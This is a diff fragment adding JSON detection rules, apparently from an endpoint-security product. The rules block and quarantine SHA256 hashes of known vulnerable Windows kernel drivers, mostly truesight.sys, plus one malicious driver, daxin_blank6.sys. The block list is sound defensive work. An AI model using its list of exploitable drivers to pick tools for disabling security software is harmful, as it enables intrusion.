+  "value": "efc49e1cfae6139fd3b9f17099e560afa0e25c28d3cd44e5873d0feddcde1fe6",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9e590472-e39c-596b-bb81-510d66022041",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.145071Z",
+  "creation_date": "2026-03-23T11:45:31.145073Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.145079Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "39ae7a7a20366cb6b2e6cfec3476429249de837cfb0e1245237d31e4c4e87fc0",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9e65a468-a620-5648-871b-283f75f99abe",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.828672Z",
+  "creation_date": "2026-03-23T11:45:31.828674Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.828679Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "dc424dc1d8b745d6b961f5c616f641b01edfa06ff1c8c185067b2d7ca9285137",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9e678389-face-5180-accf-a05378066430",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.489602Z",
+  "creation_date": "2026-03-23T11:45:31.489605Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.489613Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c74b01e02e2a18c353bb67808efbfa766e54f441bf7dbb91bad490e8b58a72d9",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9e722cbb-068d-5332-9978-3d03d2763f51",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.818807Z",
+  "creation_date": "2026-03-23T11:45:30.818809Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.818814Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2418301336cd89b7e3bda2f68bc1aa63b8ea9a75da7a3b40a9ee0a9058789f63",
+  "comment": "Vulnerable Kernel Driver (aka kerneld.amd64) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9e79d08b-fd5f-5223-915d-a88da7a576b3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.151362Z",
+  "creation_date": "2026-03-23T11:45:31.151365Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.151373Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b80b00d7c1178f9e8568daf72095b3731f02a655872837a98f3afae066934d74",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9e886ee4-27d5-54c6-aea8-4a0020c1ff72",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.493383Z",
+  "creation_date": "2026-03-23T11:45:31.493385Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.493390Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a01d3842dbeed32beb3ba1b0b5578d4a26a85336f9a75497b4329e6685ea8577",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9e9831e8-7780-5df4-a989-4a1fe7813edd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.150125Z",
+  "creation_date": "2026-03-23T11:45:31.150127Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.150132Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8face68c6d53a61e5bc75d981fc7639dd861859e8beb7180ad7eb0c12791a6cf",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9e9c34c0-155f-55c5-bd96-cc05d8b0f263",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.829897Z",
+  "creation_date": "2026-03-23T11:45:30.829899Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.829905Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6a678dd8c37435d5b606b41b6232b8a7232f981a1c2295ec4863649e362f8e7e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9ea1e404-a6ef-5776-b0f6-d0d757c8c277",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.143475Z",
+  "creation_date": "2026-03-23T11:45:31.143477Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.143482Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bf1330ec9304e857d70135e29e91cf0b7926e41a9c34f2d1a798fcf46f573174",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9ec2e2ed-3250-5706-92e9-a608917a39ce",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.977898Z",
+  "creation_date": "2026-03-23T11:45:29.977901Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.977906Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e6a7b0bc01a627a7d0ffb07faddb3a4dd96b6f5208ac26107bdaeb3ab1ec8217",
+  "comment": "Malicious Kernel Driver (aka daxin_blank6.sys) [https://www.loldrivers.io/drivers/3d1439e9-9a7d-497a-8c6c-74513f825d6a/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9eccebb1-ae20-556d-8367-1b093141198c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.142255Z",
+  "creation_date": "2026-03-23T11:45:31.142257Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.142263Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4f17fa26ccde612a01707f58fa640d520c53aa53631883ade129c675b51c4e0f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9edab224-c394-5d1d-a138-fc171d26521e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.154129Z",
+  "creation_date": "2026-03-23T11:45:31.154131Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.154136Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e65f7e35b7f76f2a6f1e467380f6b988313d78f80e129c566b0a227cdcb80f4c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9ee02884-8464-5bc8-8f2d-f55ba9395af8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.983721Z",
+  "creation_date": "2026-03-23T11:45:29.983723Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.983728Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2aa1b08f47fbb1e2bd2e4a492f5d616968e703e1359a921f62b38b8e4662f0c4",
+  "comment": "Vulnerable Kernel Driver (aka AsrAutoChkUpdDrv.sys) [https://www.loldrivers.io/drivers/b72f7335-6f27-42c5-85f5-ed7eb9016eac/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9ee16c4c-00c3-5628-a2f9-ecff75172685",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.473114Z",
+  "creation_date": "2026-03-23T11:45:31.473118Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.473127Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "47c4e9795cd672e4df7905d531ec7a435b7d6487eb3cd1af03cbd9338fda4b80",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9ee422db-5a0a-5212-bf95-d0b61158c11c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.620935Z",
+  "creation_date": "2026-03-23T11:45:29.620937Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.620950Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6948480954137987a0be626c24cf594390960242cd75f094cd6aaa5c2e7a54fa",
+  "comment": "Phoenix Technologies Vulnerable Physmem drivers (aka Agent64.sys) [https://www.loldrivers.io/drivers/5943b267-64f3-40d4-8669-354f23dec122/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9ef80e90-28ce-5360-b276-7c91c5cebb42",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.827734Z",
+  "creation_date": "2026-03-23T11:45:30.827736Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.827741Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4e32ad2cc81d76e1fc4343565d192822d3c07a1666614ef9eed373d1a8718f47",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9f1c7bad-adc5-5862-b9c3-6f644b7889c7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.488009Z",
+  "creation_date": "2026-03-23T11:45:31.488011Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.488016Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ced544aec0b87127e0548af7825a40593152636f7cbbdcd714fbb9f6be1a835d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9f2582b9-4dfb-5c8a-9304-dac83c6d4427",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.473455Z",
+  "creation_date": "2026-03-23T11:45:30.473458Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.473467Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "58cb5439e34be4ede6d93c463cb0433c99a100a1c06fca777eda751fd72c07bf",
+  "comment": "Vulnerable Kernel Driver (aka cpuz.sys) [https://www.loldrivers.io/drivers/0f59ce3b-20ac-41ba-8010-2abc74827eb8/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9f3e64f7-cf44-5122-8b0e-6bbf7cece4e9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.479511Z",
+  "creation_date": "2026-03-23T11:45:30.479514Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.479519Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "61bd9a26c01371d865e681f6354853dc0e27b1064906cd99b15220098be6e88d",
+  "comment": "Vulnerable Kernel Driver (aka segwindrvx64.sys) [https://www.loldrivers.io/drivers/a4aa80bc-4ecd-49ab-bc0f-0f49b07fdd7f/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9f43bddf-9720-5ed2-a68c-defa3ca22e3e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.981857Z",
+  "creation_date": "2026-03-23T11:45:29.981859Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.981864Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4422851a0a102f654e95d3b79c357ae3af1b096d7d1576663c027cfbc04abaf9",
+  "comment": "Vulnerable Kernel Driver (aka DirectIo.sys) [https://www.loldrivers.io/drivers/ce2d41fd-908f-414c-b6b5-338298f425b8/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9f5617c0-7538-55ca-bf2c-cbb7458b914c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.817151Z",
+  "creation_date": "2026-03-23T11:45:31.817153Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.817159Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2e1688a6c7d649ae588ef418fc3732a910a5e9c0d0be02b1f9ea00a0af8cff79",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9f61f096-86e5-5770-b903-f2a833916d78",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.500203Z",
+  "creation_date": "2026-03-23T11:45:31.500206Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.500214Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e1f4d2141dbe75a2df46858bc9a4fca9a0f40341e1176a06c0053e4c5b3f3ddd",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
